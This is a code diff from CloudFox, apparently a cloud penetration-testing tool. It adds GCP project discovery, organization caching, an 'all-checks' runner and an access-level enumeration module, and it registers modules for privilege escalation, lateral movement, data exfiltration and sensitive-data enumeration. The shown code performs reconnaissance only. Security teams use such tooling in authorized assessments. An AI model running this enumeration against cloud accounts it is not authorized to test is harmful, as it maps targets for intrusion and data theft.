Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
@@ -2241,19 +2375,7 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
cloudFoxSNSClient := aws.InitCloudFoxSNSClient(*caller, profile, cmd.Root().Version, Goroutines, AWSWrapTable, AWSMFAToken)
cloudFoxSNSClient.PrintSNS(AWSOutputDirectory, Verbosity)
resourceTrustsCommand := aws.ResourceTrustsModule{
Caller: *caller,
AWSProfileProvided: profile,
Goroutines: Goroutines,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
WrapTable: AWSWrapTable,
CloudFoxVersion: cmd.Root().Version,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
AWSMFAToken: AWSMFAToken,
AWSConfig: AWSConfig,
}
resourceTrustsCommand.PrintResources(AWSOutputDirectory, Verbosity)
runResourceTrustsCommandWithProfile(cmd, args, profile)
codeBuildCommand := aws.CodeBuildModule{
CodeBuildClient: codeBuildClient,
@@ -2375,9 +2497,6 @@ func init() {
// Map Access Keys Module Flags
AccessKeysCommand.Flags().StringVarP(&AccessKeysFilter, "filter", "f", "none", "Access key ID to search for")
// IAM Simulator Module Flags
//IamSimulatorCommand.Flags().StringVarP(&IamSimulatorFilter, "filter", "f", "none", "Access key ID to search for")
// Instances Map Module Flags
InstancesCommand.Flags().StringVarP(&InstancesFilter, "filter", "f", "all", "[InstanceID | InstanceIDsFile]")
InstancesCommand.Flags().BoolVarP(&InstanceMapUserDataAttributesOnly, "userdata", "u", false, "Use this flag to retrieve only the userData attribute from EC2 instances.")
@@ -2395,6 +2514,7 @@ func init() {
IamSimulatorCommand.Flags().StringVar(&SimulatorPrincipal, "principal", "", "Principal Arn")
IamSimulatorCommand.Flags().StringVar(&SimulatorAction, "action", "", "Action")
IamSimulatorCommand.Flags().StringVar(&SimulatorResource, "resource", "*", "Resource")
IamSimulatorCommand.Flags().BoolVar(&IamSimulatorAdminCheckOnly, "admin-check-only", false, "Only check check if principals are admin")
// iam-simulator module flags
PermissionsCommand.Flags().StringVar(&PermissionsPrincipal, "principal", "", "Principal Arn")
@@ -2408,10 +2528,15 @@ func init() {
// cape command flags
CapeCommand.Flags().BoolVar(&CapeAdminOnly, "admin-only", false, "Only return paths that lead to an admin role - much faster")
//CapeCommand.Flags().StringVar(&CapeJobName, "job-name", "", "Name of the cape job")
// flag that accepts a list of arns to ignore
CapeCommand.Flags().StringVar(&CapeArnIgnoreList, "arn-ignore-list", "", "File containing a list of ARNs to ignore separated by newlines")
// cape tui command flags
CapeTuiCmd.Flags().BoolVar(&CapeAdminOnly, "admin-only", false, "Only return paths that lead to an admin role - much faster")
// Resource Trust command flags
ResourceTrustsCommand.Flags().BoolVar(&ResourceTrustsIncludeKms, "include-kms", false, "Include KMS keys in the output")
// Global flags for the AWS modules
AWSCommands.PersistentFlags().StringVarP(&AWSProfile, "profile", "p", "", "AWS CLI Profile Name")
AWSCommands.PersistentFlags().StringVarP(&AWSProfilesList, "profiles-list", "l", "", "File containing a AWS CLI profile names separated by newlines")
Regular → Executable
+512 -18
View File
@@ -3,10 +3,14 @@ package cli
import (
"context"
"fmt"
"strings"
"time"
"github.com/BishopFox/cloudfox/gcp/commands"
oauthservice "github.com/BishopFox/cloudfox/gcp/services/oauthService"
orgsservice "github.com/BishopFox/cloudfox/gcp/services/organizationsService"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
@@ -16,12 +20,20 @@ var (
GCPProjectID string
GCPProjectIDsFilePath string
GCPProjectIDs []string
GCPAllProjects bool
// Project name mapping (ProjectID -> DisplayName)
GCPProjectNames map[string]string
// Output formatting options
GCPOutputFormat string
GCPOutputDirectory string
GCPVerbosity int
GCPWrapTable bool
GCPFlatOutput bool
// Refresh cache flag - force re-enumeration even if cache exists
GCPRefreshCache bool
// misc options
// GCPIgnoreCache bool
@@ -36,46 +48,442 @@ var (
Long: `See "Available Commands" for GCP Modules below`,
Short: "See \"Available Commands\" for GCP Modules below",
PersistentPreRun: func(cmd *cobra.Command, args []string) {
if GCPProjectID != "" {
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
} else if GCPProjectIDsFilePath != "" {
GCPProjectIDs = internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
} else {
GCPLogger.InfoM("project or project-list flags not given, commands requiring a project ID will fail", "gcp")
}
// Create a context with this value to share it with subcommands at runtime
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
// Reset project IDs and names to avoid accumulation across commands
GCPProjectIDs = nil
GCPProjectNames = make(map[string]string)
// Set the context for this command which all subcommands can access via [SUBCMD].Parent().Context()
// cmd.SetContext(ctx)
// Handle project discovery based on flags
// Priority: -p (single project) > -l (project list) > -A (all projects)
if GCPProjectID != "" {
// Single project specified with -p/--project
GCPProjectIDs = append(GCPProjectIDs, GCPProjectID)
resolveProjectNames(GCPProjectIDs)
} else if GCPProjectIDsFilePath != "" {
// Project list specified with -l/--project-list
rawProjectIDs := internal.LoadFileLinesIntoArray(GCPProjectIDsFilePath)
GCPProjectIDs = deduplicateProjectIDs(rawProjectIDs)
resolveProjectNames(GCPProjectIDs)
} else if GCPAllProjects {
// Discover all accessible projects with -A/--all-projects
GCPLogger.InfoM("Discovering all accessible projects...", "gcp")
orgsSvc := orgsservice.New()
projects, err := orgsSvc.SearchProjects("")
if err != nil {
GCPLogger.FatalM(fmt.Sprintf("Failed to discover projects: %v. Try using -p or -l flags instead.", err), "gcp")
}
for _, proj := range projects {
if proj.State == "ACTIVE" {
GCPProjectIDs = append(GCPProjectIDs, proj.ProjectID)
GCPProjectNames[proj.ProjectID] = proj.DisplayName
}
}
if len(GCPProjectIDs) == 0 {
GCPLogger.FatalM("No accessible projects found. Check your permissions.", "gcp")
}
GCPLogger.InfoM(fmt.Sprintf("Discovered %d project(s)", len(GCPProjectIDs)), "gcp")
} else {
GCPLogger.InfoM("No project scope specified. Use -p, -l, or -A flag.", "gcp")
}
// Create a context with project IDs and names
ctx := context.WithValue(context.Background(), "projectIDs", GCPProjectIDs)
ctx = context.WithValue(ctx, "projectNames", GCPProjectNames)
// Authenticate and get account info
os := oauthservice.NewOAuthService()
principal, err := os.WhoAmI()
if err != nil {
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s. \n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials", err.Error()), "gcp")
GCPLogger.FatalM(fmt.Sprintf("could not determine default user credential with error %s.\n\nPlease use default application default credentials: https://cloud.google.com/docs/authentication/application-default-credentials\n\nTry: gcloud auth application-default login", err.Error()), "gcp")
}
ctx = context.WithValue(ctx, "account", principal.Email)
// Build scope hierarchy for hierarchical output (unless --flat-output is set)
if !GCPFlatOutput && len(GCPProjectIDs) > 0 {
GCPLogger.InfoM("Building scope hierarchy for hierarchical output...", "gcp")
orgsSvc := orgsservice.New()
provider := orgsservice.NewHierarchyProvider(orgsSvc)
hierarchy, err := gcpinternal.BuildScopeHierarchy(GCPProjectIDs, provider)
if err != nil {
GCPLogger.InfoM(fmt.Sprintf("Could not build hierarchy, using flat output: %v", err), "gcp")
} else {
ctx = context.WithValue(ctx, "hierarchy", hierarchy)
// Log hierarchy summary
if len(hierarchy.Organizations) > 0 {
GCPLogger.InfoM(fmt.Sprintf("Detected %d organization(s), %d project(s)", len(hierarchy.Organizations), len(hierarchy.Projects)), "gcp")
} else {
GCPLogger.InfoM(fmt.Sprintf("Detected %d standalone project(s)", len(hierarchy.StandaloneProjs)), "gcp")
}
}
}
// Get account for cache operations
account, _ := ctx.Value("account").(string)
// Always try to load FoxMapper data for attack path analysis
// This allows individual modules to show the Attack Paths column
if len(GCPProjectIDs) > 0 {
// Get org ID from hierarchy if available (GCPOrganization flag may be empty)
orgID := GCPOrganization
if orgID == "" {
if hierarchy, ok := ctx.Value("hierarchy").(*gcpinternal.ScopeHierarchy); ok && hierarchy != nil {
if len(hierarchy.Organizations) > 0 {
orgID = hierarchy.Organizations[0].ID
}
}
}
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
ageDays := foxMapperCache.GetDataAgeDays()
if ageDays >= 30 {
GCPLogger.WarnM(fmt.Sprintf("FoxMapper data is %d days old - consider running 'foxmapper gcp graph create' to refresh",
ageDays), "gcp")
} else {
GCPLogger.InfoM(fmt.Sprintf("FoxMapper data is %d days old", ageDays), "gcp")
}
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc",
totalNodes, adminNodes, nodesWithPrivesc), "gcp")
}
}
// Always try to load org cache for cross-project analysis
// Cache auto-refreshes after 24 hours
// Force refresh when running the organizations command to ensure fresh data
refreshCache := GCPRefreshCache || cmd.Name() == "organizations"
orgCache := loadOrPopulateOrgCache(account, refreshCache)
if orgCache != nil && orgCache.IsPopulated() {
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
}
cmd.SetContext(ctx)
},
}
)
// deduplicateProjectIDs removes duplicates, trims whitespace, and filters empty entries
func deduplicateProjectIDs(projectIDs []string) []string {
seen := make(map[string]bool)
var result []string
duplicateCount := 0
for _, id := range projectIDs {
// Trim whitespace
id = strings.TrimSpace(id)
// Skip empty lines
if id == "" {
continue
}
// Skip duplicates
if seen[id] {
duplicateCount++
continue
}
seen[id] = true
result = append(result, id)
}
if duplicateCount > 0 {
GCPLogger.InfoM(fmt.Sprintf("Removed %d duplicate project ID(s) from list", duplicateCount), "gcp")
}
return result
}
// resolveProjectNames fetches display names for given project IDs
func resolveProjectNames(projectIDs []string) {
if len(projectIDs) == 0 {
return
}
orgsSvc := orgsservice.New()
// Fetch all accessible projects and build lookup map
projects, err := orgsSvc.SearchProjects("")
if err != nil {
// Non-fatal: we can continue without display names
GCPLogger.InfoM("Could not resolve project names, using project IDs only", "gcp")
for _, id := range projectIDs {
GCPProjectNames[id] = id // fallback to using ID as name
}
return
}
// Build lookup from fetched projects
projectLookup := make(map[string]string)
for _, proj := range projects {
projectLookup[proj.ProjectID] = proj.DisplayName
}
// Map our project IDs to names
for _, id := range projectIDs {
if name, ok := projectLookup[id]; ok {
GCPProjectNames[id] = name
} else {
GCPProjectNames[id] = id // fallback to using ID as name
}
}
}
// New RunAllGCPCommands function to execute all child commands
var GCPAllChecksCommand = &cobra.Command{
Use: "all-checks",
Short: "Runs all available GCP commands",
Long: `Executes all available GCP commands to collect and display information from all supported GCP services.`,
Run: func(cmd *cobra.Command, args []string) {
var executedModules []string
startTime := time.Now()
ctx := cmd.Context()
account, _ := ctx.Value("account").(string)
// Set all-checks mode - individual modules will skip saving cache
// (we'll save consolidated cache at the end)
ctx = gcpinternal.SetAllChecksMode(ctx, true)
cmd.SetContext(ctx)
// Load or populate org cache for cross-project modules
existingOrgCache := gcpinternal.GetOrgCacheFromContext(ctx)
if existingOrgCache == nil || !existingOrgCache.IsPopulated() {
GCPLogger.InfoM("Loading/enumerating organization data for cross-project analysis...", "all-checks")
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache)
if orgCache != nil && orgCache.IsPopulated() {
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
cmd.SetContext(ctx)
}
} else {
orgs, folders, projects := existingOrgCache.GetStats()
GCPLogger.InfoM(fmt.Sprintf("Using existing org cache: %d org(s), %d folder(s), %d project(s)", orgs, folders, projects), "all-checks")
}
// Find the privesc command to run first
var privescCmd *cobra.Command
for _, childCmd := range GCPCommands.Commands() {
if childCmd == cmd { // Skip the run-all command itself to avoid infinite recursion
if childCmd.Use == "privesc" {
privescCmd = childCmd
break
}
}
// Run privesc command first (produces output) and load FoxMapper data for other modules
if privescCmd != nil {
GCPLogger.InfoM("Running privilege escalation analysis first...", "all-checks")
privescCmd.Run(cmd, args)
executedModules = append(executedModules, "privesc")
// After running privesc, try to load FoxMapper data for other modules
existingFoxMapper := gcpinternal.GetFoxMapperCacheFromContext(ctx)
if existingFoxMapper != nil && existingFoxMapper.IsPopulated() {
totalNodes, adminNodes, nodesWithPrivesc := existingFoxMapper.GetStats()
GCPLogger.InfoM(fmt.Sprintf("Using existing FoxMapper cache: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
} else {
// Get org ID from org cache if available (GCPOrganization flag may be empty)
orgID := GCPOrganization
if orgID == "" {
if orgCache := gcpinternal.GetOrgCacheFromContext(ctx); orgCache != nil && len(orgCache.Organizations) > 0 {
orgID = orgCache.Organizations[0].ID
}
}
// Try to load FoxMapper data
foxMapperCache := gcpinternal.TryLoadFoxMapper(orgID, GCPProjectIDs)
if foxMapperCache != nil && foxMapperCache.IsPopulated() {
ctx = gcpinternal.SetFoxMapperCacheInContext(ctx, foxMapperCache)
cmd.SetContext(ctx)
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc", totalNodes, adminNodes, nodesWithPrivesc), "all-checks")
} else {
GCPLogger.InfoM("No FoxMapper data found. Run 'foxmapper gcp graph create' for attack path analysis.", "all-checks")
}
}
GCPLogger.InfoM("", "all-checks")
}
// Modules excluded from all-checks (run separately, not part of standard enumeration)
excludeFromAllChecks := map[string]bool{
"privesc": true, // Already ran above
"storage-enum": true, // Sensitive data enum modules (run separately)
"logging-enum": true,
"bigquery-enum": true,
"bigtable-enum": true,
"spanner-enum": true,
}
// Count total modules to execute (excluding self, hidden, and excluded modules)
var modulesToRun []*cobra.Command
for _, childCmd := range GCPCommands.Commands() {
if childCmd == cmd { // Skip the run-all command itself
continue
}
GCPLogger.InfoM(fmt.Sprintf("Running command: %s", childCmd.Use), "all-checks")
childCmd.Run(cmd, args)
if childCmd.Hidden { // Skip hidden commands
continue
}
if excludeFromAllChecks[childCmd.Use] {
continue
}
modulesToRun = append(modulesToRun, childCmd)
}
totalModules := len(modulesToRun)
GCPLogger.InfoM(fmt.Sprintf("Starting execution of %d modules...", totalModules), "all-checks")
GCPLogger.InfoM("", "all-checks")
for i, childCmd := range modulesToRun {
GCPLogger.InfoM(fmt.Sprintf("[%d/%d] Running: %s", i+1, totalModules, childCmd.Use), "all-checks")
childCmd.Run(cmd, args)
executedModules = append(executedModules, childCmd.Use)
}
// Print summary
duration := time.Since(startTime)
printExecutionSummary(executedModules, duration)
},
}
// loadOrPopulateOrgCache loads org cache from disk if available, or enumerates and saves it
func loadOrPopulateOrgCache(account string, forceRefresh bool) *gcpinternal.OrgCache {
// Check if cache exists and we're not forcing refresh
if !forceRefresh && gcpinternal.OrgCacheExists(GCPOutputDirectory, account) {
// Check if cache is stale (older than 24 hours)
if gcpinternal.IsCacheStale(GCPOutputDirectory, account, "org", gcpinternal.DefaultCacheExpiration) {
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
GCPLogger.InfoM(fmt.Sprintf("Org cache is stale (age: %s > 24h), refreshing...", formatDuration(age)), "gcp")
} else {
cache, metadata, err := gcpinternal.LoadOrgCacheFromFile(GCPOutputDirectory, account)
if err == nil && cache != nil {
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
GCPLogger.InfoM(fmt.Sprintf("Loaded org cache from disk (age: %s, %d projects)",
formatDuration(age), metadata.TotalProjects), "gcp")
return cache
}
if err != nil {
GCPLogger.InfoM(fmt.Sprintf("Could not load org cache: %v, re-enumerating...", err), "gcp")
// Delete corrupted cache file
gcpinternal.DeleteCache(GCPOutputDirectory, account, "org")
}
}
}
// Enumerate and create cache
cache := enumerateAndCacheOrgs(account)
return cache
}
// enumerateAndCacheOrgs enumerates all orgs/folders/projects and saves to disk
func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
cache := gcpinternal.NewOrgCache()
orgsSvc := orgsservice.New()
// Get all organizations
orgs, err := orgsSvc.SearchOrganizations()
if err == nil {
for _, org := range orgs {
cache.AddOrganization(gcpinternal.CachedOrganization{
ID: org.Name[len("organizations/"):], // Strip prefix
Name: org.Name,
DisplayName: org.DisplayName,
DirectoryID: org.DirectoryID,
State: org.State,
})
}
}
// Get all folders
folders, err := orgsSvc.SearchAllFolders()
if err == nil {
for _, folder := range folders {
cache.AddFolder(gcpinternal.CachedFolder{
ID: folder.Name[len("folders/"):], // Strip prefix
Name: folder.Name,
DisplayName: folder.DisplayName,
Parent: folder.Parent,
State: folder.State,
})
}
}
// Get all projects
projects, err := orgsSvc.SearchProjects("")
if err == nil {
for _, project := range projects {
// Extract project number from Name (format: "projects/123456789")
projectNumber := ""
if strings.HasPrefix(project.Name, "projects/") {
projectNumber = strings.TrimPrefix(project.Name, "projects/")
}
cache.AddProject(gcpinternal.CachedProject{
ID: project.ProjectID,
Number: projectNumber,
Name: project.Name,
DisplayName: project.DisplayName,
Parent: project.Parent,
State: project.State,
})
}
}
cache.MarkPopulated()
// Save to disk
err = gcpinternal.SaveOrgCacheToFile(cache, GCPOutputDirectory, account, "2.0.0")
if err != nil {
GCPLogger.InfoM(fmt.Sprintf("Could not save org cache to disk: %v", err), "gcp")
} else {
cacheDir := gcpinternal.GetCacheDirectory(GCPOutputDirectory, account)
GCPLogger.InfoM(fmt.Sprintf("Org cache saved to %s", cacheDir), "gcp")
}
orgsCount, foldersCount, projectsCount := cache.GetStats()
GCPLogger.InfoM(fmt.Sprintf("Organization cache populated: %d org(s), %d folder(s), %d project(s)",
orgsCount, foldersCount, projectsCount), "gcp")
return cache
}
// printExecutionSummary prints a summary of all executed modules
func printExecutionSummary(modules []string, duration time.Duration) {
GCPLogger.InfoM("", "all-checks") // blank line
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
GCPLogger.InfoM(" EXECUTION SUMMARY ", "all-checks")
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
GCPLogger.InfoM(fmt.Sprintf("Total modules executed: %d", len(modules)), "all-checks")
GCPLogger.InfoM(fmt.Sprintf("Total execution time: %s", formatDuration(duration)), "all-checks")
GCPLogger.InfoM("", "all-checks")
GCPLogger.InfoM("Modules executed:", "all-checks")
// Print modules in columns for better readability
const columnsPerRow = 4
for i := 0; i < len(modules); i += columnsPerRow {
row := " "
for j := i; j < i+columnsPerRow && j < len(modules); j++ {
row += fmt.Sprintf("%-20s", modules[j])
}
GCPLogger.InfoM(row, "all-checks")
}
GCPLogger.InfoM("", "all-checks")
GCPLogger.InfoM(fmt.Sprintf("Output directory: %s", GCPOutputDirectory), "all-checks")
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
}
// formatDuration formats a duration in a human-readable way
func formatDuration(d time.Duration) string {
if d < time.Minute {
return fmt.Sprintf("%.1f seconds", d.Seconds())
} else if d < time.Hour {
minutes := int(d.Minutes())
seconds := int(d.Seconds()) % 60
return fmt.Sprintf("%dm %ds", minutes, seconds)
}
hours := int(d.Hours())
minutes := int(d.Minutes()) % 60
return fmt.Sprintf("%dh %dm", hours, minutes)
}
func init() {
// Globals flags for the GCP commands
@@ -86,7 +494,7 @@ func init() {
// GCPCommands.PersistentFlags().StringVarP(&GCPOrganization, "organization", "o", "", "Organization name or number, repetable")
GCPCommands.PersistentFlags().StringVarP(&GCPProjectID, "project", "p", "", "GCP project ID")
GCPCommands.PersistentFlags().StringVarP(&GCPProjectIDsFilePath, "project-list", "l", "", "Path to a file containing a list of project IDs separated by newlines")
// GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "a", false, "Use all project IDs available to activated gloud account or given gcloud account")
GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "A", false, "Automatically discover and target all accessible projects")
// GCPCommands.PersistentFlags().BoolVarP(&GCPConfirm, "yes", "y", false, "Non-interactive mode (like apt/yum)")
// GCPCommands.PersistentFlags().StringVarP(&GCPOutputFormat, "output", "", "brief", "[\"brief\" | \"wide\" ]")
GCPCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 2, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
@@ -94,16 +502,102 @@ func init() {
GCPCommands.PersistentFlags().StringVar(&GCPOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
// GCPCommands.PersistentFlags().IntVarP(&Goroutines, "max-goroutines", "g", 30, "Maximum number of concurrent goroutines")
GCPCommands.PersistentFlags().BoolVarP(&GCPWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
GCPCommands.PersistentFlags().BoolVar(&GCPFlatOutput, "flat-output", false, "Use legacy flat output structure instead of hierarchical per-project directories")
GCPCommands.PersistentFlags().BoolVar(&GCPRefreshCache, "refresh-cache", false, "Force re-enumeration of cached data (cache auto-expires after 24 hours)")
// Available commands
GCPCommands.AddCommand(
commands.GCPBucketsCommand,
// Core/existing commands
commands.GCPStorageCommand,
commands.GCPArtifactRegistryCommand,
commands.GCPBigQueryCommand,
commands.GCPSecretsCommand,
commands.GCPIAMCommand,
commands.GCPPermissionsCommand,
commands.GCPResourceIAMCommand,
commands.GCPInstancesCommand,
commands.GCPWhoAmICommand,
// Compute/serverless commands
commands.GCPFunctionsCommand,
commands.GCPCloudRunCommand,
commands.GCPAppEngineCommand,
commands.GCPGKECommand,
commands.GCPCloudSQLCommand,
// New infrastructure commands
commands.GCPPubSubCommand,
commands.GCPKMSCommand,
commands.GCPLoggingCommand,
commands.GCPSchedulerCommand,
commands.GCPDNSCommand,
commands.GCPFirewallCommand,
commands.GCPServiceAccountsCommand,
commands.GCPKeysCommand,
commands.GCPEndpointsCommand,
commands.GCPWorkloadIdentityCommand,
commands.GCPIdentityFederationCommand,
commands.GCPOrganizationsCommand,
commands.GCPCloudBuildCommand,
commands.GCPMemorystoreCommand,
commands.GCPFilestoreCommand,
commands.GCPSpannerCommand,
commands.GCPBigtableCommand,
// Data processing commands
commands.GCPDataflowCommand,
commands.GCPComposerCommand,
// Security/Compliance commands
commands.GCPVPCSCCommand,
commands.GCPAssetInventoryCommand,
commands.GCPSecurityCenterCommand,
commands.GCPComplianceDashboardCommand,
commands.GCPBackupInventoryCommand,
commands.GCPCostSecurityCommand,
commands.GCPMonitoringAlertsCommand,
// Network/Infrastructure commands
commands.GCPLoadBalancersCommand,
commands.GCPVPCNetworksCommand,
commands.GCPNetworkTopologyCommand,
// ML/Data Science commands
commands.GCPNotebooksCommand,
commands.GCPDataprocCommand,
// Zero Trust/Access commands
commands.GCPIAPCommand,
commands.GCPBeyondCorpCommand,
commands.GCPAccessLevelsCommand,
// Pentest/Exploitation commands
commands.GCPPrivescCommand,
commands.GCPOrgPoliciesCommand,
commands.GCPStorageEnumCommand,
commands.GCPLoggingEnumCommand,
commands.GCPBigQueryEnumCommand,
commands.GCPBigtableEnumCommand,
commands.GCPSpannerEnumCommand,
commands.GCPCrossProjectCommand,
commands.GCPSourceReposCommand,
commands.GCPServiceAgentsCommand,
commands.GCPDomainWideDelegationCommand,
commands.GCPPrivateServiceConnectCommand,
commands.GCPCloudArmorCommand,
commands.GCPCertManagerCommand,
commands.GCPLateralMovementCommand,
commands.GCPDataExfiltrationCommand,
commands.GCPPublicAccessCommand,
commands.GCPFoxMapperCommand,
// Inventory command
commands.GCPInventoryCommand,
// Hidden admin commands
commands.GCPHiddenAdminsCommand,
// All checks (last)
GCPAllChecksCommand,
)
}
+453
View File
@@ -0,0 +1,453 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
accesspolicyservice "github.com/BishopFox/cloudfox/gcp/services/accessPolicyService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
cloudresourcemanager "google.golang.org/api/cloudresourcemanager/v1"
)
var accessLevelOrgID string
var GCPAccessLevelsCommand = &cobra.Command{
Use: globals.GCP_ACCESSLEVELS_MODULE_NAME,
Aliases: []string{"access-levels", "conditional-access", "ca"},
Short: "Enumerate Access Context Manager access levels",
Long: `Enumerate Access Context Manager access levels (conditional access policies).
Features:
- Lists all access levels in the organization
- Shows IP-based, device-based, and identity conditions
- Identifies overly permissive access levels
- Analyzes device policy requirements
Organization Discovery:
- Automatically discovers organization from project ancestry if --org not specified
- Use --org to explicitly specify an organization ID`,
Run: runGCPAccessLevelsCommand,
}
func init() {
GCPAccessLevelsCommand.Flags().StringVar(&accessLevelOrgID, "org", "", "Organization ID (required)")
}
type AccessLevelsModule struct {
gcpinternal.BaseGCPModule
OrgID string
OrgAccessLevels map[string][]accesspolicyservice.AccessLevelInfo // orgID -> access levels
LootMap map[string]map[string]*internal.LootFile // orgID -> loot files
mu sync.Mutex
}
type AccessLevelsOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o AccessLevelsOutput) TableFiles() []internal.TableFile { return o.Table }
func (o AccessLevelsOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPAccessLevelsCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ACCESSLEVELS_MODULE_NAME)
if err != nil {
return
}
// Discover organizations if not specified
orgIDs := []string{}
if accessLevelOrgID != "" {
orgIDs = append(orgIDs, accessLevelOrgID)
} else {
// Auto-discover organizations from project ancestry
discoveredOrgs := discoverOrganizations(cmdCtx.Ctx, cmdCtx.ProjectIDs, cmdCtx.Logger)
if len(discoveredOrgs) == 0 {
cmdCtx.Logger.ErrorM("Could not discover any organizations. Use --org flag to specify one.", globals.GCP_ACCESSLEVELS_MODULE_NAME)
return
}
orgIDs = discoveredOrgs
cmdCtx.Logger.InfoM(fmt.Sprintf("Discovered %d organization(s) from project ancestry", len(orgIDs)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
module := &AccessLevelsModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
OrgAccessLevels: make(map[string][]accesspolicyservice.AccessLevelInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
// Process each organization
for _, orgID := range orgIDs {
module.processOrg(cmdCtx.Ctx, orgID, cmdCtx.Logger)
}
// Write combined output
allLevels := module.getAllAccessLevels()
if len(allLevels) == 0 {
cmdCtx.Logger.InfoM("No access levels found", globals.GCP_ACCESSLEVELS_MODULE_NAME)
return
}
cmdCtx.Logger.SuccessM(fmt.Sprintf("Found %d access level(s)", len(allLevels)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
module.writeOutput(cmdCtx.Ctx, cmdCtx.Logger)
}
// discoverOrganizations finds organization IDs from project ancestry
func discoverOrganizations(ctx context.Context, projectIDs []string, logger internal.Logger) []string {
crmService, err := cloudresourcemanager.NewService(ctx)
if err != nil {
return nil
}
orgMap := make(map[string]bool)
for _, projectID := range projectIDs {
resp, err := crmService.Projects.GetAncestry(projectID, &cloudresourcemanager.GetAncestryRequest{}).Do()
if err != nil {
continue
}
for _, ancestor := range resp.Ancestor {
if ancestor.ResourceId.Type == "organization" {
orgMap[ancestor.ResourceId.Id] = true
}
}
}
var orgs []string
for orgID := range orgMap {
orgs = append(orgs, orgID)
}
return orgs
}
func (m *AccessLevelsModule) getAllAccessLevels() []accesspolicyservice.AccessLevelInfo {
var all []accesspolicyservice.AccessLevelInfo
for _, levels := range m.OrgAccessLevels {
all = append(all, levels...)
}
return all
}
func (m *AccessLevelsModule) processOrg(ctx context.Context, orgID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating access levels for organization: %s", orgID), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
m.mu.Lock()
// Initialize loot for this org
if m.LootMap[orgID] == nil {
m.LootMap[orgID] = make(map[string]*internal.LootFile)
m.LootMap[orgID]["access-levels-details"] = &internal.LootFile{
Name: "access-levels-details",
Contents: "# Access Levels (Conditional Access Policies)\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[orgID]["access-levels-allowed-ips"] = &internal.LootFile{
Name: "access-levels-allowed-ips",
Contents: "",
}
}
m.mu.Unlock()
svc := accesspolicyservice.New()
levels, err := svc.ListAccessLevels(orgID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_ACCESSLEVELS_MODULE_NAME,
fmt.Sprintf("Could not list access levels for org %s", orgID))
return
}
m.mu.Lock()
m.OrgAccessLevels[orgID] = levels
for _, level := range levels {
m.addToLoot(orgID, level)
}
m.mu.Unlock()
}
func (m *AccessLevelsModule) addToLoot(orgID string, level accesspolicyservice.AccessLevelInfo) {
if lootFile := m.LootMap[orgID]["access-levels-details"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# ACCESS LEVEL: %s\n"+
"# =============================================================================\n"+
"# Title: %s\n"+
"# Policy: %s\n"+
"# Combining Function: %s\n"+
"# Conditions: %d\n",
level.Name, level.Title, level.PolicyName, level.CombiningFunction, len(level.Conditions))
// Condition details
for i, condition := range level.Conditions {
lootFile.Contents += fmt.Sprintf("# --- Condition %d ---\n", i+1)
if len(condition.IPSubnetworks) > 0 {
lootFile.Contents += fmt.Sprintf("# IP Subnets: %s\n", strings.Join(condition.IPSubnetworks, ", "))
}
if len(condition.Members) > 0 {
lootFile.Contents += fmt.Sprintf("# Members: %s\n", strings.Join(condition.Members, ", "))
}
if len(condition.Regions) > 0 {
lootFile.Contents += fmt.Sprintf("# Regions: %s\n", strings.Join(condition.Regions, ", "))
}
